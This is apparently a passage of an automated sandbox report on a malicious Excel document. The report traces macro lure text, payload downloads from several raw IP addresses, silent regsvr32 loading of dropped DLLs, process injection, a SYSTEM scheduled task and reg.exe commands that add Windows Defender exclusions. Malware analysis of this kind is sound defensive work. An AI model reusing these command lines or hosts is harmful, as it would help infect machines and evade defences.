00 00 00 ae 07 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 ae 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae ab 04 00 00 10 00 00 00 ac 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d0 0a 03 00 00 c0 04 00 00 0c 03 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 28 a3 90 00 00 d0 07 00 00 0c 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 20 1e 00 00 00 80 98 00 00 20 00 00 00 c8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /44473.7079048611.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.165Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44473.7079048611.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.196.247.11Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44473.7079048611.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 188.119.113.3Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.165

Source: regsvr32.exe, 00000004.00000002.507656056.0000000002080000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.583563263.00000000022B0000.00000002.00020000.sdmp, explorer.exe, 00000008.00000002.897428750.0000000002340000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.509060478.0000000001D00000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.507290177.0000000001D80000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.595626677.0000000001C70000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.582938874.0000000001D80000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.604222583.00000000009D0000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000004.00000002.507656056.0000000002080000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.583563263.00000000022B0000.00000002.00020000.sdmp, explorer.exe, 00000008.00000002.897428750.0000000002340000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[1].dat

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /44473.7079048611.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.165Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44473.7079048611.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.196.247.11Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44473.7079048611.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 188.119.113.3Connection: Keep-Alive

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing" in the yellow bar 19 above. 20 21 example of notification 22 23 ( 0 Thlsfi\|eor
Source: Screenshot number: 4	Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the 26 docume
Source: Document image extraction number: 0	Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 PROTECTEDWARNING This file o
Source: Document image extraction number: 0	Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
Source: Document image extraction number: 0	Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us
Source: Document image extraction number: 1	Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 pRoTEcTmwARNNG Thisfileorigi
Source: Document image extraction number: 1	Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
Source: Document image extraction number: 1	Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[2].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Celod.wac2
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[3].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Celod.wac1
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[1].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Celod.wac

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D805000	4_2_6D805000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D801790	4_2_6D801790
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D80237E	4_2_6D80237E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D806EF0	4_2_6D806EF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D870381	4_2_6D870381
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4E5000	6_2_6C4E5000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4E6EF0	6_2_6C4E6EF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4E237E	6_2_6C4E237E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4E1790	6_2_6C4E1790
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C550381	6_2_6C550381
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00095000	8_2_00095000
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00096EF0	8_2_00096EF0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0009237E	8_2_0009237E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00091790	8_2_00091790
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE75000	12_2_6CE75000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE76EF0	12_2_6CE76EF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE71790	12_2_6CE71790
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE7237E	12_2_6CE7237E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CEE0381	12_2_6CEE0381
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BB51790	15_2_6BB51790
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BB5237E	15_2_6BB5237E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BB56EF0	15_2_6BB56EF0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BB55000	15_2_6BB55000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BBC0381	15_2_6BBC0381
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_00095000	16_2_00095000
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_00096EF0	16_2_00096EF0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_0009237E	16_2_0009237E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_00091790	16_2_00091790

Source: 173536952-10042021.xls	OLE, VBA macro line: Sub auto_close()
Source: 173536952-10042021.xls	OLE, VBA macro line: Sub auto_open()
Source: 173536952-10042021.xls	OLE, VBA macro line: Private Sub saWorkbook_Opensa()

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D7FC702 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose,	4_2_6D7FC702
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_6D7FCBB9 memset,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary,	4_2_6D7FCBB9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4DC702 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose,	6_2_6C4DC702
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6C4DCBB9 memset,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary,	6_2_6C4DCBB9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE6CBB9 memset,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary,	12_2_6CE6CBB9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_6CE6C702 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose,	12_2_6CE6C702
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BB4CBB9 memset,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary,	15_2_6BB4CBB9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 15_2_6BB4C702 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose,	15_2_6BB4C702

Source: C:\Windows\SysWOW64\regsvr32.exe

Process Stats: CPU usage > 98%

Source: Celod.wac2.23.dr	Static PE information: No import functions for PE file found
Source: Celod.wac.8.dr	Static PE information: No import functions for PE file found
Source: Celod.wac.17.dr	Static PE information: No import functions for PE file found
Source: Celod.wac1.16.dr	Static PE information: No import functions for PE file found

Source: C:\Windows\SysWOW64\explorer.exe

Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ttcmmieugikj' /d '0'

Source: 173536952-10042021.xls

OLE indicator, VBA macros: true

Source: Celod.wac2.23.dr	Static PE information: Data appended to the last section found
Source: Celod.wac.17.dr	Static PE information: Data appended to the last section found
Source: Celod.wac1.16.dr	Static PE information: Data appended to the last section found

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior

Source: 44473.7079048611[1].dat.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Celod.wac.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 44473.7079048611[2].dat.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Celod.wac1.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 44473.7079048611[3].dat.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Celod.wac2.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Celod.wac.8.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: .................................&n.....(.P.............$.......................................................................................	Jump to behavior
Source: C:\Windows\System32\reg.exe	Console Write: ................................T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y...........!.....N.......(...............	Jump to behavior
Source: C:\Windows\System32\reg.exe	Console Write: ................4...............T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.........x.......N.......(...............	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Celod.wac
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Celod.wac
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Celod.wac1
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Celod.wac1
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn vgcwztk /tr 'regsvr32.exe -s \'C:\Users\user\Celod.wac\'' /SC ONCE /Z /ST 17:02 /ET 17:14
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\Celod.wac'
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Celod.wac'
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Celod.wac2
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Celod.wac2
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ttcmmieugikj' /d '0'
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Incef' /d '0'
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\Celod.wac'
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Celod.wac'
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Celod.wac	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Celod.wac1	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Celod.wac2	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Celod.wac	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Celod.wac1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn vgcwztk /tr 'regsvr32.exe -s \'C:\Users\user\Celod.wac\'' /SC ONCE /Z /ST 17:02 /ET 17:14	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Celod.wac'	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Celod.wac2	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ttcmmieugikj' /d '0'	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Incef' /d '0'	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Celod.wac'	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Celod.wac

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE742.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@33/12@0/3

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_6D7FD565 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket,

4_2_6D7FD565

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 12_2_6CE630AA StartServiceCtrlDispatcherA,

12_2_6CE630AA

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 12_2_6CE630AA StartServiceCtrlDispatcherA,

12_2_6CE630AA

Source: 173536952-10042021.xls

OLE indicator, Workbook stream: true

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_6D7FABE5 CreateToolhelp32Snapshot,memset,Process32First,Process32Next,CloseHandle,

4_2_6D7FABE5

Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \BaseNamedObjects\Global\{9F2F8C64-12AB-4FD6-A5CA-72F01C3C3E97}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{0CFCC3CF-27E9-470F-9F9F-4A4A754B2997}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\{9FF9FD4C-C45B-4723-AD20-A28809A63250}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\{0CFCC3CF-27E9-470F-9F9F-4A4A754B2997}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \BaseNamedObjects\{9FF9FD4C-C45B-4723-AD20-A28809A63250}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \BaseNamedObjects\{9F2F8C64-12AB-4FD6-A5CA-72F01C3C3E97}

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_6D7FA55C FindResourceA,

4_2_6D7FA55C

Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
